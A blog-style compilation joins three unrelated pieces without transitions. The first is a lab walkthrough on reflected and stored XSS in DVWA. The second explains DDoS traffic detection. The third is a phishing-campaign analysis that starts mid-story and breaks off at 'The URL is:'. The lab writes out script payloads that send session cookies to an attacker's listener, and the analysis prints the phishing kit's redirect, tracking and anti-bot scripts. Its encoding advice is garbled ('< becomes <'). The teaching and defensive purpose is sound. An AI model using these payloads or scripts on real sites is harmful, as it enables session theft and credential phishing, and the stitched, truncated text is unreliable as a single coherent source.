When a web application takes that input and displays it back on the page without checking or sanitizing it first, an attacker can inject malicious code into what other users see. This class of vulnerability is called Cross-Site Scripting, or XSS.

Because the injected script runs inside the victim’s browser and appears to originate from a legitimate site, the browser trusts it and executes it with full access to that site’s data. This includes session cookies, the tokens that keep users logged in.

Stealing a session cookie allows an attacker to impersonate the victim and take over their account without ever knowing their password.

Types of XSS Attacks

There are three types of XSS attacks:

1. Reflected XSS is delivered through a crafted link and executes the moment the victim visits it.

2. Stored XSS is injected once and then served automatically to every user who visits the affected page, making it significantly more dangerous.

3. DOM-based XSS happens entirely in the user’s browser without the server ever knowing. The page’s own JavaScript takes a piece of data (like part of the URL) and accidentally runs it as code.

Lab Environment & Tools

This lab requires a Hypervisor (such as VirtualBox, UTM, Parallels, or VMware) running two virtual machines on an isolated local network:

1. Kali Linux (Attacker): Your primary workstation. You will use Burp Suite, an industry-standard proxy tool used for web application security testing, to intercept and modify HTTP traffic between your browser and the target.

2. Metasploitable 2 (Target): A deliberately vulnerable Linux VM. It hosts the DVWA (Damn Vulnerable Web Application), an intentionally insecure app designed for security training.

Note: The version of DVWA pre-installed on Metasploitable2 (v1.0.7) only includes the Reflected and Stored XSS modules. To practice DOM-based XSS, upgrade DVWA to version 1.9 or newer. This lab covers Reflected and Stored attacks only.

Environment Setup:

Configure two virtual machines: Kali Linux, and Metasploitable 2.

For maximum security, place both VMs on the same isolated virtual subnet (Host-Only or Internal Network) within your hypervisor.

This ensures the vulnerable traffic is completely isolated from your host machine and your actual physical network.

If you are not comfortable configuring an isolated subnet, you can use Bridged Mode, but be aware this makes the vulnerable Metasploitable 2 VM visible to other devices on your local Wi-Fi or Ethernet.

Once the machines are set up, ensure they are on the same subnet. In this example, we’ll assume the following configuration (your specific IPs may vary):

• Attacker (Kali): 10.10.10.10

• Target (Metasploitable 2): 10.10.10.20

• DVWA Access: http://10.10.10.20/dvwa

1. Burp Suite Configuration

Burp Suite is a proxy tool that sits between your browser and the target server, intercepting every HTTP request and response that passes between them.

Normally when you submit a form or click a link, your browser sends a request directly to the server and you have no visibility into what is being sent.

By routing your traffic through Burp, you can see the raw request, modify parameters before they reach the server, and replay requests as many times as you need.

In this lab you will use this to observe exactly how DVWA handles your input, craft payloads that would be difficult to send through the browser alone, and bypass client-side restrictions like character limits on input fields.

1.1 Launching Burp Suite

Launch Burpsuite from the terminal on Kali Linux using the command:

burpsuite

On launch, select “Temporary project”, followed by “Use Burp defaults”.

To intercept and modify traffic, you have two primary options:

• Option A: The Built-in Browser: Navigate to the Proxy tab and click “Open Browser”. This is a pre-configured Chromium browser that automatically routes all traffic through Burp.

• Option B: Manual Browser Configuration: If the built-in browser is unavailable or you prefer a custom setup (like Firefox), manually configure your browser’s proxy settings to point to 127.0.0.1 on port 8080.

1.2 Configuring the Proxy Listener

Before routing any browser traffic through Burp, you need to confirm that Burp is actually listening for incoming connections. The proxy listener is the address your browser will send traffic to, and Burp will forward it on to the target.

Navigate to Proxy > Proxy Settings and confirm the proxy listener is active on 127.0.0.1:8080.

1.3 Configuring Firefox as the Proxy Client

OPTIONAL: If you’re using the internal Burp Suite browser, and not configuring the proxy in Firefox, skip this section and go to next step.

Now that Burp is listening, you need to tell Firefox to route all of its traffic through it instead of sending requests directly to the server. Without this step, Burp has nothing to intercept.

Open Firefox and navigate to about:preferences. Search for “proxy”, which will surface the Network Settings option. Open it, select Manual proxy configuration, and set the HTTP Proxy to 127.0.0.1 on port 8080. Check “Also use this proxy for HTTPS” before saving.

Next, you need to install the PortSwigger CA certificate.

When Burp intercepts an HTTPS request, it decrypts it, lets you inspect and modify it, then re-encrypts it before forwarding it on. Firefox does not trust Burp’s certificate by default, so without this step it will block the interception and display a security warning instead of loading the page.

To download the certificate, browse to http://burpsuite in Firefox. This page will present a download link for the CA certificate file cacert.der. Once it is downloaded, go back to about:preferences and search “authorities”.

Open ‘View Certificates’, select the Authorities tab, and click Import. Select the cacert.der file, check “Trust this CA to identify websites”, and confirm.

Firefox will now trust Burp’s certificate and HTTPS traffic will pass through the proxy without warnings.

1.4 Verifying the Proxy

Before moving on, you need to confirm that traffic is actually flowing through Burp. If requests are not appearing in Burp’s history, any changes you make to requests will have no effect on the target.

Navigate to http://10.10.10.20/dvwa in whichever browser you configured in the previous step. Open Burp’s HTTP History tab and confirm that requests are appearing there. If they are, traffic is successfully passing through Burp and you are ready to begin.

2. DVWA Configuration

Before you can start testing, you need to log into DVWA and configure it to its most vulnerable state (‘Low’).

By default, DVWA runs with security controls that would block the payloads you are about to use. Setting the security level to Low disables all input filtering so the application reflects user input exactly as submitted, which is the condition you need to test these vulnerabilities.

Navigate to http://10.10.10.20/dvwa/login.php and log in with the default credentials:

• Username: admin

• Password: password

Once logged in, navigate to the DVWA Security menu, set the security level to Low, and save.

3. Exploit: Reflected XSS

Reflected XSS occurs when user-supplied input is immediately included in the server’s HTTP response without being validated or encoded.

The payload is not stored on the server. Instead, it is delivered to the victim through a crafted URL. When the victim visits the link, their browser sends the payload to the server, which reflects it back in the response.

The browser executes the script in the context of that domain, giving it access to that site’s cookies and session data.

3.1 Testing Methodology

Before injecting any malicious payload, you need to confirm that the application is actually reflecting your input unsanitized. You will start with a benign value, inspect how the server handles it, and escalate from there.

Navigate to /dvwa/vulnerabilities/xss_r/. Submit the input field with the value test and observe the resulting GET request in Burp’s HTTP History:

GET /dvwa/vulnerabilities/xss_r/?name=test HTTP/1.1

Open the response in Burp and confirm that the string test appears raw and unencoded in the HTML body. This confirms that user input is being reflected directly into the page without sanitization.

Send this request to Burp Repeater by right-clicking and selecting “Send to Repeater”. Repeater lets you modify and resend the same request without going back to the browser each time. In Repeater, modify the name parameter to test whether HTML markup is rendered:

GET /dvwa/vulnerabilities/xss_r/?name=<b>hello</b>

When you inspect the response in Burp, look at the HTML body. If the application had sanitized your input, it would have converted the <b> tag into its encoded equivalent, <b>hello</b>, which the browser would display as plain text rather than markup.

If instead you see the raw <b>hello</b> tag sitting unmodified in the HTML, the application is passing your input straight into the page.

This means the browser will treat whatever you submit as part of the page’s code, not as text to display. A <b> tag makes text bold. A <script> tag executes JavaScript. The application has no way of telling the difference.

3.2 Script Injection

Now that you have confirmed the application renders whatever you submit as raw HTML, you will escalate the probe to a script tag.

The goal here is to confirm that JavaScript executes in the context of the DVWA domain, meaning the browser treats your injected code as if it were a legitimate part of the page.

In Repeater, modify the name parameter to the following:

GET /dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

You can see in the response that the script tag sits unmodified in the HTML body.

To confirm it executes, navigate to the full URL directly in your browser:

http://10.10.10.20/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

If the application is vulnerable, it will not display the script tag as text.

Instead, the browser will execute it and an alert dialog will pop up displaying the current session cookie.

This confirms two things: JavaScript is executing in the page, and it has access to the session cookie that identifies your logged-in session to the server.

3.3 Cookie Exfiltration

An alert box proves the vulnerability exists, but it does not cause any real harm on its own because the cookie never leaves your machine.

In a real attack, the goal is to silently transmit that cookie to a server the attacker controls, where it can be captured and used to hijack the session. You will simulate this now.

Start a Python HTTP server on your Kali machine. This will act as your receiving server, logging any requests that come in:

python3 -m http.server 8000

Now modify the payload. Instead of triggering an alert, this version uses the browser’s fetch function to send an HTTP request to your server with the cookie attached as a URL parameter:

<script>fetch('http://10.10.10.10:8000?cookie='+document.cookie)</script>

Visit the crafted URL in the browser.

http://10.10.10.20/dvwa/vulnerabilities/xss_r/?name=<script>fetch('http://10.10.10.10:8000?cookie='+document.cookie)</script>

The page will load silently with no visible indication that anything happened. On your Kali machine, your Python server will log an incoming GET request with the session cookie appended to it. The cookie has been exfiltrated.

In a real attack, an attacker would embed this payload in a link and send it to a victim through a phishing email or message.

The victim clicks the link, their browser silently fires the request in the background, and the attacker receives their session cookie.

The attacker can then load that cookie into their own browser and access the victim’s account without ever knowing their password.

4. Exploit: Stored XSS

Stored XSS occurs when malicious input is saved to the server and later served to other users. Unlike Reflected XSS, no crafted link is required.

Any user who visits the page will have the script executed in their browser automatically. A single successful injection affects every subsequent visitor to that page for as long as the payload remains in the database.

4.1 Confirming the Vulnerability

Before injecting anything malicious, you will first observe how the application handles a normal submission so you can see exactly what gets sent to the server and where your injection point is.

Navigate to /dvwa/vulnerabilities/xss_s/. This page presents a guestbook form with a Name field and a Message field. Submit the form with any values.

Now open Burp’s HTTP History tab and locate the POST request that was just captured:

POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1
txtName=Marc&mtxMessage=Testing&btnSign=Sign+Guestbook

The form data is broken into parameters. The one you are interested in is mtxMessage, which contains whatever was typed into the Message field. This is your injection point.

4.2 Script Injection

Now that you can see how the form submits data, you will use Burp Repeater to modify the request and inject a script payload directly.

Sending the request through Repeater rather than the browser form matters here because the Message field enforces a 50-character limit on the client side. This limit exists in the browser only and has no effect on the actual request sent to the server. Repeater sends requests directly, bypassing the browser entirely, which means the character limit does not apply.

Send the captured request to Repeater by right-clicking it in HTTP History and selecting “Send to Repeater”.

Modify the mtxMessage parameter to inject a script payload:

txtName=test&mtxMessage=<script>alert(document.cookie)</script>&btnSign=Sign+Guestbook

Send the request from Repeater. Now navigate back to the guestbook page in your browser:

http://10.10.10.20/dvwa/vulnerabilities/xss_s/

The alert will fire automatically as soon as the page loads. You did not craft a special link or take any further action. The payload was stored in the database when you sent the request, and the server is now injecting it into the page for every visitor.

This is what makes Stored XSS more dangerous than Reflected XSS. The victim does not need to click anything out of the ordinary. Simply visiting a page they already trust is enough to execute the payload.

To reset the environment before the next step, go to DVWA Setup and click “Create / Reset Database” to clear all stored entries.

4.3 Cookie Exfiltration

Just as with Reflected XSS, an alert box proves the vulnerability but causes no real harm on its own. You will now escalate the payload to silently transmit the session cookie of every user who visits the guestbook page to your receiving server.

As covered in the previous section, the 50-character limit on the Message field is enforced by the browser only. For the exfiltration payload you have two bypass options.

You can right-click the Message input field in your browser, select Inspect, and edit the maxlength attribute directly to a higher number.

Alternatively, you can send the request directly through Burp Repeater, which bypasses the form entirely. Either approach works.

Make sure your Python HTTP server is still running on your Kali machine. If it is not, start it again:

python3 -m http.server 8000

Submit the following payload through the guestbook form, using whichever bypass method you chose:

<script>fetch('http://10.10.10.10:8000?cookie='+document.cookie)</script>

Now navigate to the guestbook page in your browser:

http://10.10.10.20/dvwa/vulnerabilities/xss_s/

The page will load silently with no visible indication that anything happened. On your Kali machine, your Python server will log an incoming GET request with the session cookie appended to it.

Unlike Reflected XSS, the attacker does not need to send anyone a link. The payload is already sitting in the database.

Every browser session that loads the guestbook page will automatically fire the request to your server, silently handing over that visitor’s session cookie.

A single injection harvests credentials from every user who visits the page, with no further action required from the attacker.

5. Remediation Recommendations:

Both vulnerabilities share the same root cause: user-supplied input is inserted directly into the HTML page without being checked or transformed first.

The browser has no way of knowing whether a script tag came from the application or from an attacker, so it executes it either way.

The fixes below address this at different layers.

Output Encoding

This is the primary fix for both Reflected and Stored XSS. Before rendering any user-supplied input in a page, the application should convert characters that have special meaning in HTML into their safe equivalents. For example, < becomes < and > becomes >. When the browser encounters these encoded versions, it displays them as text rather than interpreting them as code. A script tag submitted by an attacker would appear on the page as the literal string <script> instead of executing.

Input Validation

The application should also validate input on the server side before accepting it. This means rejecting or stripping input that does not conform to what the field expects. A name field, for example, should only accept alphabetic characters. Input that contains angle brackets or script keywords should be rejected before it is ever stored or reflected. Validation alone is not sufficient as a fix for XSS, but it reduces the attack surface significantly.

Content Security Policy

A Content Security Policy (CSP) header instructs the browser on which scripts it is permitted to execute. A properly configured CSP can prevent injected scripts from running even if they make it into the page, by blocking inline script execution and restricting scripts to trusted sources only.

HttpOnly Cookie Flag

Session cookies should be configured with the HttpOnly flag. This prevents JavaScript from reading cookie values directly, which means that even if an XSS vulnerability exists and a script executes in the page, it cannot access the session cookie. This does not fix the underlying vulnerability, but it removes the most common and damaging thing an attacker would use XSS to do.

References

• Rapid7. (n.d.). Metasploitable 2 exploitability guide. Rapid7 Documentation. https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/

• Rathod, K. (n.d.). XSS DVWA solution [GitHub repository]. GitHub. https://github.com/kashrathod19/XSS-DVWA-SOLUTION

Because of the high volume of traffic, it’s often impractical to inspect every packet individually, so detection methods focus on traffic patterns and statistics to identify anomalous behavior on a broader, aggregate level.

The tradeoff is that none of these methods are perfect. A legitimate traffic spike, like a news story suddenly sending millions of people to your website at once, can look a lot like an attack. Every detection method has to balance catching real attacks against falsely flagging normal traffic.

Network traffic analysis relies on three distinct methodologies, each designed to catch what the others might miss.

#1 Activity Profiling

Your network has a personality. Over time, you can build a picture of what normal looks like: roughly how many packets arrive per second, where they tend to come from, what ports they use, and what protocols they use.

Activity profiling works by continuously comparing current traffic against that learned baseline and asking “is something off?”

There are two specific things it watches for:

First, it groups packets into “flows,” which are bunches of packets that share similar header information such as the same source IP, destination port, and protocol.

It watches the average packet rate within each flow. If a flow that normally sends 10 packets per second suddenly sends 10,000, that’s a red flag.

A higher packet rate also means packets are arriving closer and closer together in time, which is another measurable signal.

Second, it measures entropy, which is a measure of randomness or unpredictability in the traffic. Normal traffic has a certain expected level of randomness; it varies, but in familiar ways. Attack traffic tends to break that pattern in one of two directions. A botnet sending floods of identical packets looks too uniform and too low-entropy.

On the other hand, an attacker spoofing random source IP addresses, random ports, and random packet sizes to avoid detection looks too random and too high-entropy. Either extreme is suspicious.

Think of it like a bouncer watching a crowd: if 500 people suddenly arrive all wearing identical outfits, that’s weird. But if 500 people arrive each with a completely randomized, implausible-looking ID from a different country, that’s also weird. Both extremes stand out against what normal looks like.

The main practical challenge is volume. You can’t build a profile on every individual packet, so the technique clusters flows with similar characteristics together and analyzes the clusters, which is far more manageable.

#2 Sequential Change-Point Detection

Where activity profiling asks “does this look wrong?”, sequential change-point detection asks a more specific question: “at what precise moment did things change?”

It’s less about identifying what the attack looks like and more about pinpointing the transition point between normal and abnormal.

It works by filtering traffic into categories based on IP address, port, and protocol, then plotting traffic flow rate over time on a graph. You end up with a line that goes up and down as traffic fluctuates. The algorithm then watches that line for a sudden, sustained shift, not just a brief spike, but a point where the average genuinely changes and stays changed.

The specific tool it uses is called the CUSUM algorithm, which stands for cumulative sum. Instead of just checking whether traffic is high right now, it keeps a running total of how far current traffic deviates from the expected average.

Small random fluctuations cancel each other out over time and the running total stays near zero. But if traffic shifts significantly and stays shifted, the running total grows until it crosses a threshold and triggers an alarm.

This makes it much better at catching gradual attacks that creep up slowly rather than hitting all at once, which is exactly the behavior of network worms that slowly scan and spread across a network.

It also has forensic value. It can tell you not just that an attack happened, but approximately when it started, which matters when you’re investigating an incident after the fact.

#3 Wavelet-Based Signal Analysis

This technique treats network traffic as a signal, similar to an audio signal, and breaks it down into its component frequencies.

Think of a graphic equalizer on a stereo system. A song contains many frequencies at once, including bass, midrange, and treble, and the equalizer separates them so you can see and adjust each one independently.

Wavelet analysis does the same thing to network traffic, breaking it down into frequency bands and examining how much energy is present in each one.

Normal network traffic is predominantly low-frequency. It flows in relatively steady, predictable patterns over time. Attack traffic introduces high-frequency components, which are rapid, spiky, irregular bursts.

Even when attack traffic is mixed in with normal traffic, those high-frequency spikes stand out in the analysis, the same way you could hear a jackhammer outside even while music is playing inside. The jackhammer occupies a different frequency range and you can isolate it.

The practical advantage of this approach is that it can detect anomalies buried inside otherwise normal-looking traffic, which the other two techniques might miss if the overall volume hasn’t changed dramatically.

Combining the Techniques

Using all three detection methods together gives much better coverage than relying on any one of them alone.

Activity profiling asks whether the overall pattern of traffic looks abnormal compared to a learned baseline. It’s good for catching volumetric attacks and statistically unusual traffic behavior.

Sequential change-point detection asks when exactly things shifted from normal to abnormal. It’s good for catching gradual attacks and for pinpointing when an attack began.

Wavelet analysis asks whether there’s an attack signal hidden inside the traffic that can be isolated by frequency. It’s good for catching subtle attacks that are camouflaged within otherwise normal traffic levels.

Looking at his outbox, he realized his business account had been hijacked.

The hacker sent messages to everyone in his address book, including his professional network. This list included high-level contacts at some of the world’s largest and most influential companies across multiple industries.

This type of scam is part of a broader wave of business email compromise (BEC) attacks that drain $2.77 billion per year from U.S. companies.

For cyber criminals, small businesses have become a strategic attack vector. By compromising a trusted producer or agency, hackers gain a legitimate-looking platform to launch phishing attempts against some of the largest brands in the world.

These smaller vendors often have direct lines of communication with executive leadership at multi-billion dollar companies but operate with fewer security layers than a major enterprise.

Overview

In this guide, I break down the infrastructure behind a highly professional phishing campaign, highlighting capabilities that significantly increase business risk:

• Use of trusted cloud platforms to bypass security controls, allowing malicious links to appear legitimate and evade traditional email and web filtering.

• Deliberate techniques to evade detection and investigation, preventing security tools and analysts from seeing or analyzing the phishing content.

• Rapidly changeable attack infrastructure, enabling attackers to update payloads instantly and sustain campaigns even after partial takedowns.

• Advanced methods to defeat security monitoring and fraud detection, making automated defenses less effective and increasing dwell time.

• Remote takeover capability of active user sessions, enabling attackers to observe, manipulate, and persistently control victim browser activity in real time.

• Credential theft that occurs during legitimate logins, allowing attackers to steal passwords and session tokens without disrupting the user experience, using Google’s real authentication server.

The investigation tracks the attack from the initial PDF to the phishing page, showing how it evades detection and captures credentials.

Evidence points to a self-managed phishing operation rather than a service-for-hire, based on exposed infrastructure and consistent cloud patterns.

Heads-up: The next sections are technical, showing how these phishing operations work. Each is different, but some common patterns emerge.

The Attack Vector: Malicious PDF Attachment

Modern email security systems scan attachments for malicious files and block delivery of obvious threats. To circumvent these defenses, attackers use seemingly benign PDF files containing only embedded hyperlinks rather than executable code.

While Gmail scans PDFs for malware, it often fails to detect phishing lures or links that redirect to third-party sites, especially when those sites use trusted cloud infrastructure like CloudFlare Pages, Ngrok, or Frame.

Attackers increasingly rely on these legitimate services to avoid triggering security filters, since blocking them outright would generate too many false positives.

The malicious PDF contained an embedded link in the text, reading:
‘ACCESS DOCUMENT’:

https://view-proposal-document-vjmsq.framer[.]website/
Note: link disabled by adding [.] on the to prevent accidental click.

Hybrid Analysis scanning revealed no malicious scripts or system modifications beyond the phishing lure link itself. This clean behavioral profile helps the PDF evade automated security scanners that rely on detecting malicious code execution.

Part 1: Framer Landing Page

When the victim clicks the link in the malicious PDF, they land on a page hosted on Framer, a platform that enables fast, anonymous website deployment.

Using a trusted cloud service like Framer makes it harder for detection systems to flag the page, as it looks like a legitimate website. The attacker can quickly change or update the page without revealing their true infrastructure.

By using cloud services like Framer, attackers avoid triggering security systems designed to detect suspicious activity.

VirusTotal Scan (Framer)

The Framer-hosted phishing page was scanned using VirusTotal. Only 1 out of 94 security vendors flagged it as malicious.

This low detection rate underscores how effective the multi-phase infrastructure is at bypassing traditional security measures, which rely on signature-based detection.

Source Code Analysis (Framer)

By analyzing the page’s source code with URLScan.io, we can see the techniques used to manipulate the victim and track their interactions. Several tactics are used to gather victim data and ensure the attack proceeds smoothly.

Below is a summary of the scripts found within the source code.

1. Framer Analytics Script

The page includes a Framer Analytics script that sends real-time telemetry on victim interaction to events.framer.com, providing the attacker with continuous monitoring of how the victim engages with the page.

<script async="" src="https://events.framer[.]com/script?v=2" 
  data-fid="638ac464f4ab61c76ffefe5a6b9648df1161bd21f6af060b9205e890d" 
  data-no-nt="">
</script>

2. Parameter Merger Script

The attacker uses a parameter-merging script to make sure tracking data and payload information persist as a victim moves through the attack chain.

If this data is not passed to the next link, the attacker loses visibility into the victim and the infrastructure may fail to properly validate the session.

Put simply, if the attacker sends a victim to the page using a URL parameter for tracking a Victim ID (VID), then any links on the page marked with the HTML attribute data-framer-preserve-params will be updated to include that ID.

/* PARAMETER TRACKING LOGIC */

!function() {
    var l = "framer_variant";
    
    // THE ENGINE: Extracts and merges parameters from current page to target URL
    function u(a, r) {
        let n = r.indexOf("#"),
            e = n === -1 ? r : r.substring(0, n), // Base URL
            o = n === -1 ? "" : r.substring(n),   // URL Fragment (#)
            t = e.indexOf("?"),
            m = t === -1 ? e : e.substring(0, t), // Domain/Path
            d = t === -1 ? "" : e.substring(t),   // Existing Query String
            s = new URLSearchParams(d),           // Target params
            h = new URLSearchParams(a);           // Source (Victim) params

        // Loops through source params (VID, QID, etc.) and appends them
        for (let [i, g] of h) 
            s.has(i) || i !== l && s.append(i, g);

        let c = s.toString();
        return c === "" ? e + o : m + "?" + c + o;
    }

    // THE DRIVER: Identifies specific links on the page to weaponize

    var f = "div#main a[data-framer-preserve-params]";
    
    if (window.location.search && !navigator.webdriver) {
        let a = document.querySelectorAll(f);
        for (let r of a) {
            let n = u(window.location.search, r.href);
            r.setAttribute("href", n); // Injects tracking IDs into the link
        }
    }
}();

This allows the attacker to send multiple victims to the same page while keeping each victim’s unique tracking ID attached to the link for the next stage, preserving their identity throughout the flow.

Note: In this case, the attacker did not send the victim to the page with a URL parameter, which caused the entire script to go unused. It is unclear whether this was intentional or a misconfiguration.

Instead, tracking was implemented using unique hash values embedded in the download button URL. While this still allows the attacker to identify that a unique victim has entered the system, it removes visibility into which specific targets or delivery methods led to the click.

As a result, the attacker loses some tracking detail at this stage and relies solely on hash-based tracking further down the chain.

2. Download button

The “VIEW / DOWNLOAD SECURE DOCUMENT” button redirects the victim to an external URL hosted behind a URL shortening service:

https://rebrand[.]ly/4e27bc#Yz0xJl9oPTI2R2xIS08--
Note: link disabled by adding [.] on the to prevent accidental click.

The use of a URL shortener obscures the next destination in the chain.

Hash Value in Download Link:

The URL includes a fragment value appended after the # symbol:

#Yz0xJI9oPTI2R2xIS08--

This fragment acts as a unique identifier associated with the page load. Each fresh browser session receives a new value, which enables per-visitor tracking.

Under normal browser behavior, URL fragments are used to reference a section of a page, such as #section3. These fragments are not transmitted to the server during HTTP requests. They remain client-side but persist through redirects unless explicitly removed.

In this case, the fragment is intentionally preserved across the redirect chain. It is later extracted and processed by subsequent pages to maintain tracking continuity.

Base64-Encoded Tracking Data

The fragment value is Base64 encoded. When decoded, it resolves to:

c=1&_h=26GIHKO

This output shows structured key value pairs rather than random data. These values function as tracking parameters that downstream scripts can parse and reuse as the victim moves through additional stages.

This technique enables persistent identification across multiple redirects and domains while avoiding traditional query string transmission.

3. Event Hijacking

The page uses an event hijacking script designed to ensure that nearly any user interaction results in a redirect to the next stage of the flow.

Instead of relying on a standard clickable link, the script intercepts multiple browser events and explicitly triggers navigation through JavaScript.

<script>
  (()=>{function u(){function n(t,e,i){let r=document.createElement("a");
  r.href=t,r.target=i,r.rel=e,document.body.appendChild(r),
  r.click(),r.remove()}
  function o(t){if(this.dataset.hydrated){
  this.removeEventListener("click",o);return}
  t.preventDefault(),t.stopPropagation();
  let e=this.getAttribute("href");if(!e)return;
  if(/Mac|iPod|iPhone|iPad/u.test(navigator.userAgent)?
  t.metaKey:t.ctrlKey)return n(e,"","_blank");
  let r=this.getAttribute("rel")??"",
  c=this.getAttribute("target")??"";n(e,r,c)}
  function a(t){if(this.dataset.hydrated){
  this.removeEventListener("auxclick",o);return}
  t.preventDefault(),t.stopPropagation();
  let e=this.getAttribute("href");e&&n(e,"","_blank")}
  function s(t){if(this.dataset.hydrated){
  this.removeEventListener("keydown",s);return}
  if(t.key!=="Enter")return;
  t.preventDefault(),t.stopPropagation();
  let e=this.getAttribute("href");if(!e)return;
  let i=this.getAttribute("rel")??"",
  r=this.getAttribute("target")??"";n(e,i,r)}
  document.querySelectorAll("[data-nested-link]")
  .forEach(t=>{t instanceof HTMLElement&&(
  t.addEventListener("click",o),
  t.addEventListener("auxclick",a),
  t.addEventListener("keydown",s))})}
  return u})()()
</script>

Hijacked Interaction Events

The script attaches event listeners to any element containing the data-nested-link attribute. This effectively turns large portions of the page into redirect triggers rather than traditional links.

The following interaction types are explicitly intercepted:

• Left click events

• Right click and middle click events via auxclick

• Keyboard interaction using the Enter key

Regardless of whether the user clicks, right clicks, middle clicks, or presses Enter, the script suppresses default browser behavior and forces navigation to the embedded URL.

Forced Navigation Mechanism

Instead of allowing the browser to handle navigation naturally, the script dynamically creates a temporary <a> element.

It assigns the href, target, and rel attributes, programmatically triggers a click, then immediately removes the element from the DOM.

This method produces consistent navigation behavior across browsers, operating systems, and mobile environments.

This approach also neutralizes common hesitation behaviors such as right clicking to inspect a link or using keyboard navigation, since all interactions are treated as deliberate clicks.

Impact on the Attack Chain

By hijacking multiple event types, the attacker significantly reduces friction and increases conversion rates. The victim is funneled into the next stage of the phishing flow regardless of interaction method.

4. Anti-Bot Detection

The page contains anti-automation logic designed to limit access to tracked victim flows and hinder automated analysis. Execution of this logic is conditional, depending on the presence of URL parameters.

if(window.location.search&&
   !navigator.webdriver&&
   !/bot|-google|google-|yandex|ia_archiver|crawl|spider/iu.test(navigator.userAgent))

Conditional Execution of Bot Checks

The anti-bot checks only run when window.location.search contains query parameters. If the page is accessed without URL parameters, this block is skipped entirely and no automation checks occur.

As mentioned earlier, in this campaign the phishing page itself was delivered without URL parameters, even though the operation was active and monitored. Victim tracking relied on a Base64-encoded hash fragment embedded in the Rebrand.ly download link rather than query strings.

As a result, the anti-bot logic was never triggered during the initial page load.

Detection Signals Used When Active

If URL parameters are present, the script applies multiple signals to detect automated analysis:

• navigator.webdriver to detect browser automation frameworks

• User agent pattern matching for known crawlers and scanners

• Implicit filtering of headless or scripted browsing environments

This ensures bot detection only runs when the attacker expects to preserve and propagate victim-specific tracking data.

Part 2: Server-Side Functions

After the victim clicks “VIEW / DOWNLOAD SECURE DOCUMENT”, control shifts from the client-side Framer page to server-side infrastructure.

From this point forward, all logic is handled through a series of redirects and backend checks designed to validate the victim, manage tracking, and decide whether the attack should continue.

CloudFlare Phishing Infrastructure

The next stages of the attack are hosted on Cloudflare Workers. Using Cloudflare provides the attacker with trusted infrastructure, valid SSL certificates, and strong reputation shielding. Because Cloudflare Workers are widely used for legitimate applications, traffic to these domains is far less likely to be blocked or flagged.

This also allows the attacker to dynamically update logic, redirect behavior, and payload handling without touching the original phishing page.

Redirect #1: Cloudflare Worker

The Rebrand.ly short link resolves to a Cloudflare Workers endpoint, with the hash fragment preserved at the end of the URL:

https://mute-bar-10df.seanco1212.workers[.]dev/#Yz0xJI9oPT12R2xIS08--

At this stage, the fragment still contains the Base64-encoded tracking data generated on the previous page.

Redirect #2: Hash Decoded

The Cloudflare Worker decodes the hash fragment and reloads the page, converting part of the decoded value into URL parameters:

https://mute-bar-10df.seanco1212.workers[.]dev/?c=1#26GlHKO 
Note: link disabled by adding [.] on the to prevent accidental click.

This transition marks the first time the tracking data becomes visible to server-side logic. The decoded values are now usable by backend scripts for validation and routing decisions.

At this point, the page displays a fake loading screen, intended to delay the victim while backend checks are performed.

Multiple variations of this loading screen were observed, suggesting either simple A/B testing or conditional rendering based on backend responses.

Network Traffic Analysis

The URLScan.io results for this page reveal the full server-side orchestration happening behind the loading screen. The browser network inspector shows 14 HTTP transactions with a mix of successful and failed requests, providing insight into the attack’s infrastructure redundancy and anti-analysis measures.

• Requests to GitHub-hosted JSON files containing encrypted payload data.

• Calls to verification endpoints used to validate the victim session

• Requests to infrastructure responsible for tracking and routing decisions

Successful Resource Requests

The page successfully loads four critical resources that drive the phishing operation:

GitHub-Hosted Payload Files:

GET https://raw.githubusercontent[.]com/laurseraph-svg/oatedbilly/main/ramen_p.json
Status: 200 | Size: 161 KB | Server: Fastly CDN (185.199.109.133)
{"v":1,"d":"8yyGeh2bLgWq460Fp5oDUnEwsucoAGhhHFAd5JUVxZEwQNaX8QQpDZ...

GET https://raw.githubusercontent[.]com/laurseraph-svg/oatedbilly/main/cap_ram.json
Status: 200 | Size: 88 KB | Server: Fastly CDN (185.199.108.133)
{"v":1,"d":"-GTM7rStxej7fYCVBT3RgwWd3xkttpHbx0RKbUKlkCgyYu0Rg0EpP1gQZ2yv29boG-D...

Both files have the same format: a version field (”v”: 1) and an encrypted data field (”d”). The “d” value is encoded and likely decrypts to HTML, JavaScript, or configuration data for the next stage of the phishing page.

Using GitHub is intentional because it is a trusted, reliable platform that often bypasses security filters, provides free hosting with high uptime, and allows attackers to manage and update their payloads with version control.

Verification Server Responses:

The verification endpoint is called twice with different response sizes, suggesting a two-phase validation process.

GET https://kleavbre.site/r/cls/verified_server.php
Status: 200 | Size: 63 B | Server: Namecheap (162.254.39.240)
Response: application/json

GET https://kleavbre.site/r/cls/verified_server.php  
Status: 200 | Size: 344 B | Server: Namecheap (162.254.39.240)
Response: text/plain

The first request (63 bytes) likely returns a simple JSON validation response, possibly a boolean or session token confirming the visitor passed initial checks.

The second request (344 bytes) returns a larger text/plain response, which may contain routing instructions, configuration parameters, or the decryption key needed to unlock the payload data from the GitHub JSON files.

Purpose of the Server-Side Layer

This server-side phase supports the phishing operation by making it more resilient and harder to detect:

• Decode and validate victim tracking data: Verification endpoints decode and check hash parameters to ensure the visitor followed the intended attack path, preventing direct access to phishing pages and limiting access to users who clicked the original malicious link.

• Control progression through the attack chain: Payloads are delivered only after successful validation, giving the attacker control over who sees specific content, while suspicious traffic can be dropped or redirected to benign pages.

• Fetch and deliver updated payload components: GitHub-hosted JSON files can be updated in real time without redeploying Cloudflare Workers or related infrastructure, allowing rapid design changes, A/B testing of lures, and quick pivots when detection occurs.

• Centralize logic for operational flexibility: Backend-based decision logic allows changes to routing, targeting, and payload delivery without modifying frontend pages, improving scalability and making static analysis more difficult.

• Infrastructure resilience: Multiple verification domains and platforms provide redundancy, so if one endpoint is blocked or taken down, others can continue serving the attack chain.

By placing this logic behind Cloudflare Workers and external validation servers, the attacker separates presentation from control. This makes the operation more resilient to takedowns, harder to analyze through automated scanners, and easier to maintain at scale across multiple simultaneous campaigns.

Once these checks complete successfully and the payloads are decrypted, the victim is forwarded to the next stage of the attack, where interactive phishing and credential capture begin.

Part 3: Phishing Page (CAPTCHA)

After passing through the validation layer, the victim lands on a CAPTCHA page designed to appear as a legitimate Google security check.

This page implements multiple layers of anti-analysis defenses while simultaneously preparing the final phishing payload.

The URL is:

